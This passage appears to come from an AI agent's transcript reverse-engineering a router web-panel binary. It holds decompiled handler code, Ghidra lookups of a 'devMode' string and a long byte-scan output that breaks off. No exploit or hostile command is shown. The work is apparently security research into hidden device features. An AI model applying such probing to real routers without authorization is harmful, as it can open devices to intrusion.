paVar7 = extraout_r2_05;\n } while (uVar10 < (uint)(iVar12 >> 2));\n }\n std::__cxx11::string::string<std::allocator>(asStack_b0,pcVar6,paVar7);\n std::__cxx11::string::_M_dispose();\n if (local_38 != (void *)0x0) {\n operator_delete(local_38,local_30 - (int)local_38);\n }\n std::__cxx11::string::_M_dispose();\n crow::request::get_body_params();\n std::__cxx11::string::string<std::allocator>\n ((string *)&local_68,DAT_000697ec,extraout_r2_07);\n pvVar3 = local_38;\n pcVar2 = local_68;\n sVar4 = strlen(local_68);\n iVar12 = (int)local_34 - (int)pvVar3;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_08;\n if (pvVar3 != local_34) {\n puVar11 = (undefined4 *)((int)pvVar3 + -4);\n uVar10 = 0;\n do {\n puVar11 = puVar11 + 1;\n pcVar8 = (char *)*puVar11;\n iVar5 = crow::qs_strncmp(pcVar2,pcVar8,sVar4);\n if (iVar5 == 0) {\n sVar4 = strcspn(pcVar8,DAT_000697e4);\n pcVar6 = pcVar8 + sVar4;\n paVar7 = extraout_r2_10;\n if (pcVar8[sVar4] == '=') {\n pcVar6 = pcVar8 + sVar4 + 1;\n }\n break;\n }\n uVar10 = uVar10 + 1;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_09;\n } while (uVar10 < (uint)(iVar12 >> 2));\n }\n std::__cxx11::string::string<std::allocator>(asStack_98,pcVar6,paVar7);\n std::__cxx11::string::_M_dispose();\n if (local_38 != (void *)0x0) {\n operator_delete(local_38,local_30 - (int)local_38);\n }\n std::__cxx11::string::_M_dispose();\n crow::request::get_body_params();\n std::__cxx11::string::string<std::allocator>\n ((string *)&local_68,DAT_000697f0,extraout_r2_11);\n pvVar3 = local_38;\n pcVar2 = local_68;\n sVar4 = strlen(local_68);\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_12;\n if (pvVar3 != local_34) {\n puVar11 = (undefined4 *)((int)pvVar3 + -4);\n uVar10 = 0;\n do {\n puVar11 = puVar11 + 1;\n pcVar8 = (char *)*puVar11;\n iVar12 = crow::qs_strncmp(pcVar2,pcVar8,sVar4);\n if (iVar12 == 0) {\n sVar4 = strcspn(pcVar8,DAT_000697e4);\n pcVar6 = pcVar8 + sVar4;\n paVar7 = extraout_r2_14;\n if (pcVar8[sVar4] == '=') {\n pcVar6 = pcVar8 + sVar4 + 1;\n }\n break;\n }\n uVar10 = uVar10 + 1;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_13;\n } while (uVar10 < (uint)((int)local_34 - (int)pvVar3 >> 2));\n }\n std::__cxx11::string::string<std::allocator>((string *)&local_80,pcVar6,paVar7);\n std::__cxx11::string::_M_dispose();\n if (local_38 != (void *)0x0) {\n operator_delete(local_38,local_30 - (int)local_38);\n }\n std::__cxx11::string::_M_dispose();\n local_fc = (undefined4 *)0x0;\n parse_mac_addr((string *)&local_f8);\n if (local_7c == 6) {\n iVar12 = memcmp(local_80,DAT_00069828,6);\n if (iVar12 == 0) {\n puVar11 = (undefined4 *)operator_new(0x4c);\n uVar9 = DAT_000697f8;\n local_f0 = local_f8;\n local_e4 = uStack_f4;\n _local_ec = CONCAT22(uStack_ea,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_e8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_e8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069830;\n *puVar11 = DAT_0006982c;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n goto LAB_000691d8;\n }\n }\n else if (local_7c == 5) {\n iVar12 = memcmp(local_80,DAT_000697f4,5);\n if (iVar12 == 0) {\n puVar11 = (undefined4 *)operator_new(0x4c);\n uVar9 = DAT_000697f8;\n local_e0 = local_f8;\n local_d4 = uStack_f4;\n _local_dc = CONCAT22(uStack_da,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_d8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_d8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069824;\n *puVar11 = DAT_00069820;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n goto LAB_000691d8;\n }\n }\n else if ((local_7c == 7) && (iVar12 = memcmp(local_80,DAT_00069810,7), iVar12 == 0)) {\n puVar11 = (undefined4 *)operator_new(0xa8);\n uVar9 = DAT_000697f8;\n local_d0 = local_f8;\n local_64 = uStack_f4;\n _local_cc = CONCAT22(uStack_ca,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_68 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_68,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n *puVar11 = DAT_00069814;\n pcVar2 = DAT_00069818;\n puVar11[0x13] = puVar11 + 0x15;\n puVar11[0x14] = 0;\n *(undefined1 *)(puVar11 + 0x15) = 0;\n puVar11[0x19] = 0;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n std::__cxx11::string::assign((string *)(puVar11 + 0x13),DAT_0006981c);\n goto LAB_000691d8;\n }\n puVar11 = (undefined4 *)operator_new(0x4c);\n uVar9 = DAT_000697f8;\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_50 = local_f8;\n local_4c = uStack_f4;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_50,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\nLAB_000691d8:\n local_fc = puVar11;\n if (local_c4 != 0) {\n (**(code **)*puVar11)(puVar11,asStack_c8);\n }\n if (local_ac != 0) {\n parse_ip_addr((string )&local_50);\n if (local_40 == '\0') {\n if ((char *)(puVar11 + 0x11) == '\x01') {\n memcpy(puVar11 + 0xd,&local_50,4);\n }\n else {\n memcpy(puVar11 + 0xd,&local_50,4);\n *(undefined1 )(puVar11 + 0x11) = 1;\n }\n }\n else if ((char *)(puVar11 + 0x11) == '\x02') {\n memcpy(puVar11 + 0xd,&local_50,0x10);\n }\n else {\n memcpy(puVar11 + 0xd,&local_50,0x10);\n *(undefined1 *)(puVar11 + 0x11) = 2;\n }\n }\n iVar12 = pthread_mutex_lock(DAT_00069800);\n pvVar1 = DAT_00069804;\n if (iVar12 == 0) {\n puVar11 = *(undefined4 **)(DAT_00069804 + 4);\n if (puVar11 == *(undefined4 **)(DAT_00069804 + 8)) {\n std::\n vector<std::unique_ptr<Device,std::default_delete>,std::allocator<std::unique_ptr<Device,std::default_delete>>>\n ::_M_realloc_insert<std::unique_ptr<Device,std::default_delete>>\n (DAT_00069804,puVar11,&local_fc);\n paVar7 = extraout_r2_16;\n }\n else {\n *puVar11 = local_fc;\n *(undefined4 **)(pvVar1 + 4) = puVar11 + 1;\n local_fc = (undefined4 *)0x0;\n paVar7 = extraout_r2_15;\n }\n puVar11 = local_fc;\n std::__cxx11::string::string<std::allocator>((string *)&local_50,DAT_00069808,paVar7);\n ResponseOverride::redirect_see_other((ResponseOverride *)param_1,(string *)&local_50);\n std::__cxx11::string::_M_dispose();\n pthread_mutex_unlock(DAT_00069800);\n if (puVar11 != (undefined4 )0x0) {\n puVar11 = uVar9;\n std::__cxx11::string::_M_dispose();\n std::__cxx11::string::_M_dispose();\n operator_delete(puVar11,0x4c);\n }\n std::__cxx11::string::_M_dispose();\n std::__cxx11::string::_M_dispose();\n std::__cxx11::string::_M_dispose();\n std::__cxx11::string::_M_dispose();\n if (local_2c == DAT_000697dc) {\n return param_1;\n }\n }\n else if (local_2c == DAT_000697dc) {\n std::__throw_system_error(iVar12);\n std::__cxx11::string::_M_dispose();\n std::vector<char,std::allocator<char>>::~vector\n ((vector<char,std::allocator<char>> *)&local_38);\n std::__cxx11::string::_M_dispose();\n std::__cxx11::string::_M_dispose();\n crow::response::~response((response *)param_1);\n if (local_2c == DAT_000697dc) {\n / WARNING: Subroutine does not return /\n __cxa_end_cleanup();\n }\n }\n / WARNING: Subroutine does not return /\n __stack_chk_fail();\n}\n\n"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"print(bytes.fromhex('64657600').decode())\" 2>&1"}
Tool result
{"exitCode":0,"stdout":"dev\u0000\n","stderr":""}Call ghidra_list_strings
Arguments
{"filepath": "/sandbox/router-web-panel", "limit": 3000, "filter": "devMode"}
Tool result
{"result":["000799ac: "devMode""]}Call ghidra_get_xrefs_to
Arguments
{"filepath": "/sandbox/router-web-panel", "address": "0x000799ac"}
Tool result
{"result":["From 0006a08c in wrapped_handler_call<install_routes(crow::Crow&)::{lambda()#1}> [PARAM]"]}Call sandbox_execute
Arguments
{"command": "cd /sandbox && strings -t x router-web-panel | grep -E \"(0x00069810|0x000697f4|0x00069828)\" | head -20"}
Tool result
{"exitCode":0,"stdout":"","stderr":""}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/router-web-panel", "name_or_address": "0x0006a08c"}
Tool result
{"result":"Function not found"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 << 'EOF'\n# Find those data addresses\ndata = open('router-web-panel', 'rb').read()\n\n# Search for \"devMode\" string\ndevmode_pos = data.find(b'devMode\\x00')\nprint(f\"devMode string at offset: 0x{devmode_pos:x}\")\n\n# Let's look for the type strings\ndef find_all(data, pattern):\n start = 0\n while True:\n pos = data.find(pattern, start)\n if pos == -1:\n break\n print(f\" Found at 0x{pos:x}\")\n start = pos + 1\n\nprint(\"\\nSearching for 'type' string:\")\nfind_all(data, b'type\\x00')\n\nprint(\"\\nSearching for MAC-like patterns in hex:\")\n# Look for specific byte patterns\nimport struct\nfor i in range(0, len(data)-8):\n if data[i:i+1] == b'\\x00' and data[i+1:i+2] == b'\\x00':\n # Could be start of MAC\n if i > 0x60000: # Data section\n continue\n if data[i:i+7] == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00':\n print(f\" 7 zeros at 0x{i:x}\")\n elif data[i:i+6] == b'\\x00\\x00\\x00\\x00\\x00\\x00':\n print(f\" 6 zeros at 0x{i:x}\")\n elif data[i:i+5] == b'\\x00\\x00\\x00\\x00\\x00':\n print(f\" 5 zeros at 0x{i:x}\")\nEOF\n"}
Tool result
{"exitCode":0,"stdout":"devMode string at offset: 0x699ac\n\nSearching for 'type' string:\n Found at 0x69b90\n\nSearching for MAC-like patterns in hex:\n 7 zeros at 0x8\n 7 zeros at 0x9\n 6 zeros at 0xa\n 5 zeros at 0xb\n 7 zeros at 0x95\n 7 zeros at 0x96\n 7 zeros at 0x97\n 6 zeros at 0x98\n 5 zeros at 0x99\n 7 zeros at 0x118\n 7 zeros at 0x119\n 7 zeros at 0x11a\n 7 zeros at 0x11b\n 7 zeros at 0x11c\n 7 zeros at 0x11d\n 7 zeros at 0x11e\n 7 zeros at 0x11f\n 7 zeros at 0x120\n 7 zeros at 0x121\n 7 zeros at 0x122\n 7 zeros at 0x123\n 7 zeros at 0x124\n 7 zeros at 0x125\n 6 zeros at 0x126\n 5 zeros at 0x127\n 5 zeros at 0x177\n 7 zeros at 0x181\n 6 zeros at 0x182\n 5 zeros at 0x183\n 7 zeros at 0x1a2\n 7 zeros at 0x1a3\n 7 zeros at 0x1a4\n 7 zeros at 0x1a5\n 6 zeros at 0x1a6\n 5 zeros at 0x1a7\n 7 zeros at 0x1b9\n 6 zeros at 0x1ba\n 5 zeros at 0x1bb\n 7 zeros at 0x1c5\n 6 zeros at 0x1c6\n 5 zeros at 0x1c7\n 7 zeros at 0x1ed\n 7 zeros at 0x1ee\n 7 zeros at 0x1ef\n 7 zeros at 0x1f0\n 7 zeros at 0x1f1\n 6 zeros at 0x1f2\n 5 zeros at 0x1f3\n 6 zeros at 0x1fe\n 5 zeros at 0x1ff\n 7 zeros at 0x209\n 7 zeros at 0x20a\n 7 zeros at 0x20b\n 7 zeros at 0x20c\n 7 zeros at 0x20d\n 6 zeros at 0x20e\n 5 zeros at 0x20f\n 7 zeros at 0x225\n 7 zeros at 0x226\n 7 zeros at 0x227\n 7 zeros at 0x228\n 7 zeros at 0x229\n 6 zeros at 0x22a\n 5 zeros at 0x22b\n 7 zeros at 0x23d\n 6 zeros at 0x23e\n 5 zeros at 0x23f\n 6 zeros at 0x256\n 5 zeros at 0x257\n 7 zeros at 0x25d\n 7 zeros at 0x25e\n 7 zeros at 0x25f\n 7 zeros at 0x260\n 7 zeros at 0x261\n 7 zeros at 0x262\n 7 zeros at 0x263\n 7 zeros at 0x264\n 7 zeros at 0x265\n 7 zeros at 0x266\n 7 zeros at 0x267\n 7 zeros at 0x268\n 7 zeros at 0x269\n 6 zeros at 0x26a\n 5 zeros at 0x26b\n 7 zeros at 0x289\n 7 zeros at 0x28a\n 7 zeros at 0x28b\n 7 zeros at 0x28c\n 7 zeros at 0x28d\n 6 zeros at 0x28e\n 5 zeros at 0x28f\n 6 zeros at 0x296\n 5 zeros at 0x297\n 6 zeros at 0x2b2\n 5 zeros at 0x2b3\n 7 zeros at 0x2b9\n 7 zeros at 0x2ba\n 7 zeros at 0x2bb\n 7 zeros at 0x2bc\n 7 zeros at 0x2bd\n 7 zeros at 0x2be\n 7 zeros at 0x2bf\n 7 zeros at 0x2c0\n 7 zeros at 0x2c1\n 7 zeros at 0x2c2\n 7 zeros at 0x2c3\n 7 zeros at 0x2c4\n 7 zeros at 0x2c5\n 6 zeros at 0x2c6\n 5 zeros at 0x2c7\n 6 zeros at 0x2d2\n 5 zeros at 0x2d3\n 6 zeros at 0x2da\n 5 zeros at 0x2db\n 7 zeros at 0x2ed\n 6 zeros at 0x2ee\n 5 zeros at 0x2ef\n 7 zeros at 0x2f5\n 7 zeros at 0x2f6\n 7 zeros at 0x2f7\n 7 zeros at 0x2f8\n 7 zeros at 0x2f9\n 7 zeros at 0x2fa\n 7 zeros at 0x2fb\n 7 zeros at 0x2fc\n 7 zeros at 0x2fd\n 7 zeros at 0x2fe\n 7 zeros at 0x2ff\n 7 zeros at 0x300\n 7 zeros at 0x301\n 6 zeros at 0x302\n 5 zeros at 0x303\n 7 zeros at 0x315\n 6 zeros at 0x316\n 5 zeros at 0x317\n 7 zeros at 0x31d\n 6 zeros at 0x31e\n 5 zeros at 0x31f\n 7 zeros at 0x329\n 7 zeros at 0x32a\n 7 zeros at 0x32b\n 7 zeros at 0x32c\n 7 zeros at 0x32d\n 6 zeros at 0x32e\n 5 zeros at 0x32f\n 6 zeros at 0x34a\n 5 zeros at 0x34b\n 7 zeros at 0x355\n 7 zeros at 0x356\n 7 zeros at 0x357\n 7 zeros at 0x358\n 7 zeros at 0x359\n 6 zeros at 0x35a\n 5 zeros at 0x35b\n 7 zeros at 0x375\n 6 zeros at 0x376\n 5 zeros at 0x377\n 7 zeros at 0x37d\n 7 zeros at 0x37e\n 7 zeros at 0x37f\n 7 zeros at 0x380\n 7 zeros at 0x381\n 6 zeros at 0x382\n 5 zeros at 0x383\n 7 zeros at 0x395\n 6 zeros at 0x396\n 5 zeros at 0x397\n 7 zeros at 0x39d\n 6 zeros at 0x39e\n 5 zeros at 0x39f\n 7 zeros at 0x3ad\n 6 zeros at 0x3ae\n 5 zeros at 0x3af\n 7 zeros at 0x3b5\n 7 zeros at 0x3b6\n 7 zeros at 0x3b7\n 7 zeros at 0x3b8\n 7 zeros at 0x3b9\n 6 zeros at 0x3ba\n 5 zeros at 0x3bb\n 7 zeros at 0x3c5\n 6 zeros at 0x3c6\n 5 zeros at 0x3c7\n 6 zeros at 0x3ee\n 5 zeros at 0x3ef\n 7 zeros at 0x3f9\n 6 zeros at 0x3fa\n 5 zeros at 0x3fb\n 7 zeros at 0x402\n 7 zeros at 0x403\n 7 zeros at 0x404\n 7 zeros at 0x405\n 6 zeros at 0x406\n 5 zeros at 0x407\n 7 zeros at 0x40d\n 6 zeros at 0x40e\n 5 zeros at 0x40f\n 7 zeros at 0x41d\n 6 zeros at 0x41e\n 5 zeros at 0x41f\n 6 zeros at 0x42a\n 5 zeros at 0x42b\n 7 zeros at 0x445\n 6 zeros at 0x446\n 5 zeros at 0x447\n 7 zeros at 0x44d\n 6 zeros at 0x44e\n 5 zeros at 0x44f\n 7 zeros at 0x455\n 6 zeros at 0x456\n 5 zeros at 0x457\n 7 zeros at 0x465\n 7 zeros at 0x466\n 7 zeros at 0x467\n 7 zeros at 0x468\n 7 zeros at 0x469\n 7 zeros at 0x46a\n 7 zeros at 0x46b\n 7 zeros at 0x46c\n 7 zeros at 0x46d\n 6 zeros at 0x46e\n 5 zeros at 0x46f\n 7 zeros at 0x481\n 6 zeros at 0x482\n 5 zeros at 0x483\n 7 zeros at 0x489\n 7 zeros at 0x48a\n 7 zeros at 0x48b\n 7 zeros at 0x48c\n 7 zeros at 0x48d\n 7 zeros at 0x48e\n 7 zeros at 0x48f\n 7 zeros at 0x490\n 7 zeros at 0x491\n 6 zeros at 0x492\n 5 zeros at 0x493\n 7 zeros at 0x499\n 7 zeros at 0x49a\n 7 zeros at 0x49b\n 7 zeros at 0x49c\n 7 zeros at 0x49d\n 6 zeros at 0x49e\n 5 zeros at 0x49f\n 7 zeros at 0x4a9\n 6 zeros at 0x4aa\n 5 zeros at 0x4ab\n 7 zeros at 0x4bd\n 7 zeros at 0x4be\n 7 zeros at 0x4bf\n 7 zeros at 0x4c0\n 7 zeros at 0x4c1\n 6 zeros at 0x4c2\n 5 zeros at 0x4c3\n 7 zeros at 0x4cd\n 6 zeros at 0x4ce\n 5 zeros at 0x4cf\n 7 zeros at 0x4e6\n 7 zeros at 0x4e7\n 7 zeros at 0x4e8\n 7 zeros at 0x4e9\n 6 zeros at 0x4ea\n 5 zeros at 0x4eb\n 7 zeros at 0x4fd\n 6 zeros at 0x4fe\n 5 zeros at 0x4ff\n 7 zeros at 0x511\n 7 zeros at 0x512\n 7 zeros at 0x513\n 7 zeros at 0x514\n 7 zeros at 0x515\n 7 zeros at 0x516\n 7 zeros at 0x517\n 7 zeros at 0x518\n 7 zeros at 0x519\n 6 zeros at 0x51a\n 5 zeros at 0x51b\n 6 zeros at 0x526\n 5 zeros at 0x527\n 7 zeros at 0x53d\n 7 zeros at 0x53e\n 7 zeros at 0x53f\n 7 zeros at 0x540\n 7 zeros at 0x541\n 6 zeros at 0x542\n 5 zeros at 0x543\n 7 zeros at 0x551\n 6 zeros at 0x552\n 5 zeros at 0x553\n 7 zeros at 0x569\n 6 zeros at 0x56a\n 5 zeros at 0x56b\n 7 zeros at 0x575\n 7 zeros at 0x576\n 7 zeros at 0x577\n 7 zeros at 0x578\n 7 zeros at 0x579\n 7 zeros at 0x57a\n 7 zeros at 0x57b\n 7 zeros at 0x57c\n 7 zeros at 0x57d\n 6 zeros at 0x57e\n 5 zeros at 0x57f\n 7 zeros at 0x589\n 7 zeros at 0x58a\n 7 zeros at 0x58b\n 7 zeros at 0x58c\n 7 zeros at 0x58d\n 6 zeros at 0x58e\n 5 zeros at 0x58f\n 7 zeros at 0x595\n 7 zeros at 0x596\n 7 zeros at 0x597\n 7 zeros at 0x598\n 7 zeros at 0x599\n 6 zeros at 0x59a\n 5 zeros at 0x59b\n 7 zeros at 0x5a9\n 6 zeros at 0x5aa\n 5 zeros at 0x5ab\n 7 zeros at 0x5b1\n 7 zeros at 0x5b2\n 7 zeros at 0x5b3\n 7 zeros at 0x5b4\n 7 zeros at 0x5b5\n 6 zeros at 0x5b6\n 5 zeros at 0x5b7\n 7 zeros at 0x5bd\n 7 zeros at 0x5be\n 7 zeros at 0x5bf\n 7 zeros at 0x5c0\n 7 zeros at 0x5c1\n 6 zeros at 0x5c2\n 5 zeros at 0x5c3\n 7 zeros at 0x5c9\n 6 zeros at 0x5ca\n 5 zeros at 0x5cb\n 7 zeros at 0x5d5\n 7 zeros at 0x5d6\n 7 zeros at 0x5d7\n 7 zeros at 0x5d8\n 7 zeros at 0x5d9\n 7 zeros at 0x5da\n 7 zeros at 0x5db\n 7 zeros at 0x5dc\n 7 zeros at 0x5dd\n 7 zeros at 0x5de\n 7 zeros at 0x5df\n 7 zeros at 0x5e0\n 7 zeros at 0x5e1\n 6 zeros at 0x5e2\n 5 zeros at 0x5e3\n 7 zeros at 0x609\n 6 zeros at 0x60a\n 5 zeros at 0x60b\n 7 zeros at 0x615\n 7 zeros at 0x616\n 7 zeros at 0x617\n 7 zeros at 0x618\n 7 zeros at 0x619\n 7 zeros at 0x61a\n 7 zeros at 0x61b\n 7 zeros at 0x61c\n 7 zeros at 0x61d\n 6 zeros at 0x61e\n 5 zeros at 0x61f\n 7 zeros at 0x631\n 7 zeros at 0x632\n 7 zeros at 0x633\n 7 zeros at 0x634\n 7 zeros at 0x635\n 7 zeros at 0x636\n 7 zeros at 0x637\n 7 zeros at 0x638\n 7 zeros at 0x639\n 7 zeros at 0x63a\n 7 zeros at 0x63b\n 7 zeros at 0x63c\n 7 zeros at 0x63d\n 7 zeros at 0x63e\n 7 zeros at 0x63f\n 7 zeros at 0x640\n 7 zeros at 0x641\n 7 zeros at 0x642\n 7 zeros at 0x643\n 7 zeros at 0x644\n 7 zeros at 0x645\n 7 zeros at 0x646\n 7 zeros at 0x647\n 7 zeros at 0x648\n 7 zeros at 0x649\n 7 zeros at 0x64a\n 7 zeros at 0x64b\n 7 zeros at 0x64c\n 7 zeros at 0x64d\n 6 zeros at 0x64e\n 5 zeros at 0x64f\n 7 zeros at 0x655\n 7 zeros at 0x656\n 7 zeros at 0x657\n 7 zeros at 0x658\n 7 zeros at 0x659\n 7 zeros at 0x65a\n 7 zeros at 0x65b\n 7 zeros at 0x65c\n 7 zeros at 0x65d\n 6 zeros at 0x65e\n 5 zeros at 0x65f\n 7 zeros at 0x665\n 6 zeros at 0x666\n 5 zeros at 0x667\n 7 zeros at 0x66d\n 6 zeros at 0x66e\n 5 zeros at 0x66f\n 7 zeros at 0x675\n 6 zeros at 0x676\n 5 zeros at 0x677\n 7 zeros at 0x681\n 7 zeros at 0x682\n 7 zeros at 0x683\n 7 zeros at 0x684\n 7 zeros at 0x685\n 7 zeros at 0x686\n 7 zeros at 0x687\n 7 zeros at 0x688\n 7 zeros at 0x689\n 7 zeros at 0x68a\n 7 zeros at 0x68b\n 7 zeros at 0x68c\n 7 zeros at 0x68d\n 7 zeros at 0x68e\n 7 zeros at 0x68f\n 7 zeros at 0x690\n 7 zeros at 0x691\n 7 zeros at 0x692\n 7 zeros at 0x693\n 7 zeros at 0x694\n 7 zeros at 0x695\n 6 zeros at 0x696\n 5 zeros at 0x697\n 7 zeros at 0x6a1\n 6 zeros at 0x6a2\n 5 zeros at 0x6a3\n 7 zeros at 0x6a9\n 7 zeros at 0x6aa\n 7 zeros at 0x6ab\n 7 zeros at 0x6ac\n 7 zeros at 0x6ad\n 7 zeros at 0x6ae\n 7 zeros at 0x6af\n 7 zeros at 0x6b0\n 7 zeros at 0x6b1\n 7 zeros at 0x6b2\n 7 zeros at 0x6b3\n 7 zeros at 0x6b4\n 7 zeros at 0x6b5\n 7 zeros at 0x6b6\n 7 zeros at 0x6b7\n 7 zeros at 0x6b8\n 7 zeros at 0x6b9\n 6 zeros at 0x6ba\n 5 zeros at 0x6bb\n 7 zeros at 0x6c9\n 7 zeros at 0x6ca\n 7 zeros at 0x6cb\n 7 zeros at 0x6cc\n 7 zeros at 0x6cd\n 7 zeros at 0x6ce\n 7 zeros at 0x6cf\n 7 zeros at 0x6d0\n 7 zeros at 0x6d1\n 6 zeros at 0x6d2\n 5 zeros at 0x6d3\n 7 zeros at 0x6dd\n 7 zeros at 0x6de\n 7 zeros at 0x6df\n 7 zeros at 0x6e0\n 7 zeros at 0x6e1\n 7 zeros at 0x6e2\n 7 zeros at 0x6e3\n 7 zeros at 0x6e4\n 7 zeros at 0x6e5\n 7 zeros at 0x6e6\n 7 zeros at 0x6e7\n 7 zeros at 0x6e8\n 7 zeros at 0x6e9\n 6 zeros at 0x6ea\n 5 zeros at 0x6eb\n 7 zeros at 0x6f1\n 7 zeros at 0x6f2\n 7 zeros at 0x6f3\n 7 zeros at 0x6f4\n 7 zeros at 0x6f5\n 6 zeros at 0x6f6\n 5 zeros at 0x6f7\n 7 zeros at 0x706\n 7 zeros at 0x707\n 7 zeros at 0x708\n 7 zeros at 0x709\n 7 zeros at 0x70a\n 7 zeros at 0x70b\n 7 zeros at 0x70c\n 7 zeros at 0x70d\n 7 zeros at 0x70e\n 7 zeros at 0x70f\n 7 zeros at 0x710\n 7 zeros at 0x711\n 7 zeros at 0x712\n 7 zeros at 0x713\n 7 zeros at 0x714\n 7 zeros at 0x715\n 7 zeros at 0x716\n 7 zeros at 0x717\n 7 zeros at 0x718\n 7 zeros at 0x719\n 7 zeros at 0x71a\n 7 zeros at 0x71b\n 7 zeros at 0x71c\n 7 zeros at 0x71d\n 6 zeros at 0x71e\n 5 zeros at 0x71f\n 7 zeros at 0x729\n 6 zeros at 0x72a\n 5 zeros at 0x72b\n 7 zeros at 0x735\n 7 zeros at 0x736\n 7 zeros at 0x737\n 7 zeros at 0x738\n 7 zeros at 0x739\n 6 zeros at 0x73a\n 5 zeros at 0x73b\n 7 zeros at 0x745\n 7 zeros at 0x746\n 7 zeros at 0x747\n 7 zeros at 0x748\n 7 zeros at 0x749\n 6 zeros at 0x74a\n 5 zeros at 0x74b\n 7 zeros at 0x751\n 7 zeros at 0x752\n 7 zeros at 0x753\n 7 zeros at 0x754\n 7 zeros at 0x755\n 6 zeros at 0x756\n 5 zeros at 0x757\n 7 zeros at 0x75d\n 7 zeros at 0x75e\n 7 zeros at 0x75f\n 7 zeros at 0x760\n 7 zeros at 0x761\n 7 zeros at 0x762\n 7 zeros at 0x763\n 7 zeros at 0x764\n 7 zeros at 0x765\n 6 zeros at 0x766\n 5 zeros at 0x767\n 7 zeros at 0x76d\n 7 zeros at 0x76e\n 7 zeros at 0x76f\n 7 zeros at 0x770\n 7 zeros at 0x771\n 7 zeros at 0x772\n 7 zeros at 0x773\n 7 zeros at 0x774\n 7 zeros at 0x775\n 6 zeros at 0x776\n 5 zeros at 0x777\n 7 zeros at 0x77d\n 6 zeros at 0x77e\n 5 zeros at 0x77f\n 7 zeros at 0x785\n 6 zeros at 0x786\n 5 zeros at 0x787\n 7 zeros at 0x78d\n 7 zeros at 0x78e\n 7 zeros at 0x78f\n 7 zeros at 0x790\n 7 zeros at 0x791\n 7 zeros at 0x792\n 7 zeros at 0x793\n 7 zeros at 0x794\n 7 zeros at 0x795\n 7 zeros at 0x796\n 7 zeros at 0x797\n 7 zeros at 0x798\n 7 zeros at 0x799\n 7 zeros at 0x79a\n 7 zeros at 0x79b\n 7 zeros at 0x79c\n 7 zeros at 0x79d\n 7 zeros at 0x79e\n 7 zeros at 0x79f\n 7 zeros at 0x7a0\n 7 zeros at 0x7a1\n 7 zeros at 0x7a2\n 7 zeros at 0x7a3\n 7 zeros at 0x7a4\n 7 zeros at 0x7a5\n 7 zeros at 0x7a6\n 7 zeros at 0x7a7\n 7 zeros at 0x7a8\n 7 zeros at 0x7a9\n 6 zeros at 0x7aa\n 5 zeros at 0x7ab\n 7 zeros at 0x7ba\n 7 zeros at 0x7bb\n 7 zeros at 0x7bc\n 7 zeros at 0x7bd\n 6 zeros at 0x7be\n 5 zeros at 0x7bf\n 7 zeros at 0x7d5\n 7 zeros at 0x7d6\n 7 zeros at 0x7d7\n 7 zeros at 0x7d8\n 7 zeros at 0x7d9\n 7 zeros at 0x7da\n 7 zeros at 0x7db\n 7 zeros at 0x7dc\n 7 zeros at 0x7dd\n 7 zeros at 0x7de\n 7 zeros at 0x7df\n 7 zeros at 0x7e0\n 7 zeros at 0x7e1\n 7 zeros at 0x7e2\n 7 zeros at 0x7e3\n 7 zeros at 0x7e4\n 7 zeros at 0x7e5\n 6 zeros at 0x7e6\n 5 zeros at 0x7e7\n 7 zeros at 0x7ed\n 6 zeros at 0x7ee\n 5 zeros at 0x7ef\n 7 zeros at 0x7fa\n 7 zeros at 0x7fb\n 7 zeros at 0x7fc\n 7 zeros at 0x7fd\n 6 zeros at 0x7fe\n 5 zeros at 0x7ff\n 7 zeros at 0x809\n 7 zeros at 0x80a\n 7 zeros at 0x80b\n 7 zeros at 0x80c\n 7 zeros at 0x80d\n 7 zeros at 0x80e\n 7 zeros at 0x80f\n 7 zeros at 0x810\n 7 zeros at 0x811\n 6 zeros at 0x812\n 5 zeros at 0x813\n 7 zeros at 0x819\n 6 zeros at 0x81a\n 5 zeros at 0x81b\n 7 zeros at 0x821\n 7 zeros at 0x822\n 7 zeros at 0x823\n 7 zeros at 0x824\n 7 zeros at 0x825\n 6 zeros at 0x826\n 5 zeros at 0x827\n 7 zeros at 0x82e\n 